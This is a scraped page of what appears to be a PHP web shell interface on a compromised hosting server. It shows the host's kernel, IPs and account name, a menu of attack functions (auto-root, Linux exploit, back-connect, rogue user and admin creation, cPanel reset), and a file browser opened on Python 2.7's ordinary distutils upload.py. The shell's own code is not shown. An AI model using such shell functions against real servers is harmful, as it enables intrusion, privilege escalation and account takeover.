Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib64 /
python2.7 /
distutils /
command /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
822
B
-rw-r--r--
__init__.pyc
665
B
-rw-r--r--
__init__.pyo
665
B
-rw-r--r--
bdist.py
5.46
KB
-rw-r--r--
bdist.pyc
5.05
KB
-rw-r--r--
bdist.pyo
5.05
KB
-rw-r--r--
bdist_dumb.py
5.07
KB
-rw-r--r--
bdist_dumb.pyc
4.87
KB
-rw-r--r--
bdist_dumb.pyo
4.87
KB
-rw-r--r--
bdist_msi.py
34.37
KB
-rw-r--r--
bdist_msi.pyc
23.4
KB
-rw-r--r--
bdist_msi.pyo
23.29
KB
-rw-r--r--
bdist_rpm.py
20.56
KB
-rw-r--r--
bdist_rpm.pyc
17.2
KB
-rw-r--r--
bdist_rpm.pyo
17.11
KB
-rw-r--r--
bdist_wininst.py
14.65
KB
-rw-r--r--
bdist_wininst.pyc
10.47
KB
-rw-r--r--
bdist_wininst.pyo
10.4
KB
-rw-r--r--
build.py
5.33
KB
-rw-r--r--
build.pyc
5.03
KB
-rw-r--r--
build.pyo
5.03
KB
-rw-r--r--
build_clib.py
7.94
KB
-rw-r--r--
build_clib.pyc
6.2
KB
-rw-r--r--
build_clib.pyo
6.2
KB
-rw-r--r--
build_ext.py
31.75
KB
-rw-r--r--
build_ext.py.debug-build
31.51
KB
-rw-r--r--
build_ext.pyc
18.89
KB
-rw-r--r--
build_ext.pyo
18.89
KB
-rw-r--r--
build_py.py
15.96
KB
-rw-r--r--
build_py.pyc
11.22
KB
-rw-r--r--
build_py.pyo
11.15
KB
-rw-r--r--
build_scripts.py
4.49
KB
-rw-r--r--
build_scripts.pyc
4.37
KB
-rw-r--r--
build_scripts.pyo
4.37
KB
-rw-r--r--
check.py
5.54
KB
-rw-r--r--
check.pyc
6.12
KB
-rw-r--r--
check.pyo
6.12
KB
-rw-r--r--
clean.py
2.75
KB
-rw-r--r--
clean.pyc
3
KB
-rw-r--r--
clean.pyo
3
KB
-rw-r--r--
command_template
719
B
-rw-r--r--
config.py
12.82
KB
-rw-r--r--
config.pyc
12.39
KB
-rw-r--r--
config.pyo
12.39
KB
-rw-r--r--
install.py
25.65
KB
-rw-r--r--
install.pyc
16.42
KB
-rw-r--r--
install.pyo
16.42
KB
-rw-r--r--
install_data.py
2.78
KB
-rw-r--r--
install_data.pyc
3.04
KB
-rw-r--r--
install_data.pyo
3.04
KB
-rw-r--r--
install_egg_info.py
2.53
KB
-rw-r--r--
install_egg_info.pyc
3.66
KB
-rw-r--r--
install_egg_info.pyo
3.66
KB
-rw-r--r--
install_headers.py
1.31
KB
-rw-r--r--
install_headers.pyc
2.2
KB
-rw-r--r--
install_headers.pyo
2.2
KB
-rw-r--r--
install_lib.py
8.14
KB
-rw-r--r--
install_lib.pyc
6.52
KB
-rw-r--r--
install_lib.pyo
6.52
KB
-rw-r--r--
install_scripts.py
2.02
KB
-rw-r--r--
install_scripts.pyc
2.86
KB
-rw-r--r--
install_scripts.pyo
2.86
KB
-rw-r--r--
register.py
11.56
KB
-rw-r--r--
register.pyc
9.97
KB
-rw-r--r--
register.pyo
9.97
KB
-rw-r--r--
sdist.py
18.12
KB
-rw-r--r--
sdist.pyc
16.3
KB
-rw-r--r--
sdist.pyo
16.3
KB
-rw-r--r--
upload.py
6.84
KB
-rw-r--r--
upload.pyc
6.16
KB
-rw-r--r--
upload.pyo
6.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upload.py
"""distutils.command.upload Implements the Distutils 'upload' subcommand (upload package to PyPI).""" import os import socket import platform from urllib2 import urlopen, Request, HTTPError from base64 import standard_b64encode import urlparse import cStringIO as StringIO from hashlib import md5 from distutils.errors import DistutilsError, DistutilsOptionError from distutils.core import PyPIRCCommand from distutils.spawn import spawn from distutils import log class upload(PyPIRCCommand): description = "upload binary package to PyPI" user_options = PyPIRCCommand.user_options + [ ('sign', 's', 'sign files to upload using gpg'), ('identity=', 'i', 'GPG identity used to sign files'), ] boolean_options = PyPIRCCommand.boolean_options + ['sign'] def initialize_options(self): PyPIRCCommand.initialize_options(self) self.username = '' self.password = '' self.show_response = 0 self.sign = False self.identity = None def finalize_options(self): PyPIRCCommand.finalize_options(self) if self.identity and not self.sign: raise DistutilsOptionError( "Must use --sign for --identity to have meaning" ) config = self._read_pypirc() if config != {}: self.username = config['username'] self.password = config['password'] self.repository = config['repository'] self.realm = config['realm'] # getting the password from the distribution # if previously set by the register command if not self.password and self.distribution.password: self.password = self.distribution.password def run(self): if not self.distribution.dist_files: msg = ("Must create and upload files in one command " "(e.g. setup.py sdist upload)") raise DistutilsOptionError(msg) for command, pyversion, filename in self.distribution.dist_files: self.upload_file(command, pyversion, filename) def upload_file(self, command, pyversion, filename): # Makes sure the repository URL is compliant schema, netloc, url, params, query, fragments = \ urlparse.urlparse(self.repository) if params or query or fragments: raise AssertionError("Incompatible url %s" % self.repository) if schema not in ('http', 'https'): raise AssertionError("unsupported schema " + schema) # Sign if requested if self.sign: gpg_args = ["gpg", "--detach-sign", "-a", filename] if self.identity: gpg_args[2:2] = ["--local-user", self.identity] spawn(gpg_args, dry_run=self.dry_run) # Fill in the data - send all the meta-data in case we need to # register a new release f = open(filename,'rb') try: content = f.read() finally: f.close() meta = self.distribution.metadata data = { # action ':action': 'file_upload', 'protcol_version': '1', # identify release 'name': meta.get_name(), 'version': meta.get_version(), # file content 'content': (os.path.basename(filename),content), 'filetype': command, 'pyversion': pyversion, 'md5_digest': md5(content).hexdigest(), # additional meta-data 'metadata_version' : '1.0', 'summary': meta.get_description(), 'home_page': meta.get_url(), 'author': meta.get_contact(), 'author_email': meta.get_contact_email(), 'license': meta.get_licence(), 'description': meta.get_long_description(), 'keywords': meta.get_keywords(), 'platform': meta.get_platforms(), 'classifiers': meta.get_classifiers(), 'download_url': meta.get_download_url(), # PEP 314 'provides': meta.get_provides(), 'requires': meta.get_requires(), 'obsoletes': meta.get_obsoletes(), } comment = '' if command == 'bdist_rpm': dist, version, id = platform.dist() if dist: comment = 'built for %s %s' % (dist, version) elif command == 'bdist_dumb': comment = 'built for %s' % platform.platform(terse=1) data['comment'] = comment if self.sign: data['gpg_signature'] = (os.path.basename(filename) + ".asc", open(filename+".asc").read()) # set up the authentication auth = "Basic " + standard_b64encode(self.username + ":" + self.password) # Build up the MIME payload for the POST data boundary = '--------------GHSKFJDLGDS7543FJKLFHRE75642756743254' sep_boundary = '\r\n--' + boundary end_boundary = sep_boundary + '--\r\n' body = StringIO.StringIO() for key, value in data.items(): # handle multiple entries for the same name if not isinstance(value, list): value = [value] for value in value: if isinstance(value, tuple): fn = ';filename="%s"' % value[0] value = value[1] else: fn = "" body.write(sep_boundary) body.write('\r\nContent-Disposition: form-data; name="%s"' % key) body.write(fn) body.write("\r\n\r\n") body.write(value) body.write(end_boundary) body = body.getvalue() self.announce("Submitting %s to %s" % (filename, self.repository), log.INFO) # build the Request headers = {'Content-type': 'multipart/form-data; boundary=%s' % boundary, 'Content-length': str(len(body)), 'Authorization': auth} request = Request(self.repository, data=body, headers=headers) # send the data try: result = urlopen(request) status = result.getcode() reason = result.msg if self.show_response: msg = '\n'.join(('-' * 75, result.read(), '-' * 75)) self.announce(msg, log.INFO) except socket.error, e: self.announce(str(e), log.ERROR) raise except HTTPError, e: status = e.code reason = e.msg if status == 200: self.announce('Server response (%s): %s' % (status, reason), log.INFO) else: msg = 'Upload failed (%s): %s' % (status, reason) self.announce(msg, log.ERROR) raise DistutilsError(msg)
Close